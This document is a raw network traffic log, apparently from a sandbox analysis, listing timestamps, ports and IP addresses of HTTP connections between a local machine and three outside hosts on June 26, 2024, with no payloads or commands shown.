Jun 26, 2024 08:16:44.842469931 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.842503071 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.842509031 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.842539072 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.842560053 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.842571974 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.842602015 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.842612028 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.842644930 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.842695951 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.842698097 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.842698097 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.842746019 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.842771053 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.842780113 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.842808962 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.842814922 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.842838049 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.842849970 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.842859983 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.842885017 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.842895985 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.842920065 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.842952967 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.842967987 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.842988014 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843003035 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843020916 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843024969 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843070984 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843081951 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843105078 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843120098 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843138933 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843142033 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843183994 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843189001 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843223095 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843250990 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843271017 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843274117 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843307972 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843338013 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843358994 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843365908 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843394995 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843406916 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843427896 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843440056 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843461990 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843497992 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843519926 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843532085 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843542099 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843564987 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843575954 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843599081 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843611956 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843632936 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843641043 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843667030 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843694925 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843698978 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843727112 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843734980 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843761921 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843769073 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843799114 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843803883 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843828917 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843837023 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843863010 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843869925 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843899012 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843904018 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843933105 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843939066 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.843966961 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.843972921 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.844001055 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.844007015 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.844043016 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.844057083 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.844078064 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.844093084 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.844110012 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.844120979 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.844150066 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.844152927 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.844208956 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.863575935 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.863615036 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.863656998 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.863681078 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.863706112 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.863734961 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.863765955 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.863770008 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.863799095 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.863802910 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.863831043 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.863837004 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.863866091 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.863869905 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.863898039 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.863903046 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.863915920 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.863935947 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.863938093 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.863970041 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.863997936 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.864003897 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.864032030 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.864037991 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.864068031 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.864073038 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.864079952 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.864573956 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.889163971 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.889225006 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.889228106 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.889260054 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.889271021 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.889305115 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.889312029 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.889347076 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.889353991 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.889381886 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.889394045 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.889415979 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.889436007 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.889448881 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.889489889 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.927623987 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.927681923 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.927716970 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.927747011 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.927750111 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.927784920 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.927788019 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.927820921 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.927850962 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.927858114 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.927892923 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.927912951 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.927947044 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.927947998 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.927995920 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.928004026 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.928030014 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.928062916 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.928088903 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.928096056 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.928128004 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.928129911 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.928158045 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.928164005 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.928191900 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.928198099 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.928219080 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.928231955 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.928240061 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.928265095 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.928267002 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.928299904 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.928328991 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.928359985 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.928977966 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929012060 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929054976 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929150105 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929199934 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929235935 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929267883 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929269075 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929294109 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929302931 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929313898 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929337978 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929366112 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929372072 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929388046 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929404974 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929414034 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929438114 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929450035 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929472923 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929483891 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929507017 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929522038 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929542065 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929574013 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929575920 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929604053 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929610968 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929624081 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929642916 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929660082 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929676056 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929692030 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929709911 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929714918 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929744959 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929774046 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929779053 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929805994 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929814100 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929841995 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.929850101 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.929863930 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.930054903 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.932619095 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.932671070 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.932678938 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.932704926 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.932720900 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.932740927 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.932773113 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.932775974 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.932775974 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.932806015 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.932842016 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.932868004 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.932872057 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.932904959 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.932905912 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.932925940 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.932940006 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.932965994 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.932972908 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.932995081 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.933007002 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.933022022 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.933041096 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.933074951 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.933087111 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.933109045 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.933135986 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.933144093 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.933170080 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.933176994 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.933204889 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.933211088 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.933221102 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.933240891 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.933271885 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.933276892 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.933283091 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.933342934 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:45.742902994 CEST	49730	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:45.743573904 CEST	49732	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:45.748259068 CEST	80	49730	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:45.748354912 CEST	49730	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:45.748433113 CEST	80	49732	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:45.748543024 CEST	49732	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:45.749042034 CEST	49732	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:45.753961086 CEST	80	49732	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:46.072077990 CEST	49733	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:46.076920986 CEST	80	49733	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:46.077001095 CEST	49733	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:46.077224970 CEST	49733	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:46.081960917 CEST	80	49733	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:46.440099955 CEST	80	49732	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:46.440188885 CEST	49732	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:46.553078890 CEST	49732	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:46.553364038 CEST	49734	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:46.558394909 CEST	80	49734	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:46.558470011 CEST	49734	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:46.558559895 CEST	80	49732	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:46.558620930 CEST	49732	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:46.558742046 CEST	49734	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:46.563564062 CEST	80	49734	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:46.690248966 CEST	80	49733	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:46.690308094 CEST	49733	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:47.264296055 CEST	80	49734	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.265028954 CEST	49734	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.265126944 CEST	49734	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.276261091 CEST	80	49734	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.478430986 CEST	80	49734	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.478712082 CEST	49734	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.588584900 CEST	49734	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.589176893 CEST	49735	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.594002008 CEST	80	49734	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.594273090 CEST	49734	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.594588041 CEST	80	49735	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.595077991 CEST	49735	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.595740080 CEST	49735	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.600413084 CEST	80	49735	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.600506067 CEST	49735	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.600604057 CEST	80	49735	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.605389118 CEST	80	49735	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.617742062 CEST	49736	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.622524023 CEST	80	49736	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.622715950 CEST	49736	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.622857094 CEST	49736	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.627593994 CEST	80	49736	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.627619982 CEST	80	49736	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.736505985 CEST	49737	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.741374016 CEST	80	49737	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.741457939 CEST	49737	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.741584063 CEST	49737	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.746335983 CEST	80	49737	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.746570110 CEST	80	49737	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.747453928 CEST	49738	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.752165079 CEST	80	49738	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.752305031 CEST	49738	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.752501965 CEST	49738	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.757312059 CEST	80	49738	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.757647038 CEST	80	49738	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.874150038 CEST	49739	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.879034042 CEST	80	49739	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.879245996 CEST	49739	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.884213924 CEST	80	49739	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.889776945 CEST	49739	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.908950090 CEST	49739	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.908950090 CEST	49739	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.909987926 CEST	49740	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.913713932 CEST	80	49739	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.913824081 CEST	80	49739	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.914819002 CEST	80	49740	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.915014029 CEST	49740	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.917682886 CEST	49740	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.920023918 CEST	80	49740	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.921792030 CEST	49740	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.921792030 CEST	49740	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:47.922868013 CEST	80	49740	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.926614046 CEST	80	49740	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:47.926817894 CEST	80	49740	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.033354998 CEST	49741	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.038094044 CEST	80	49741	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.038170099 CEST	49741	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.038307905 CEST	49741	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.043138981 CEST	80	49741	147.45.47.155	192.168.2.6
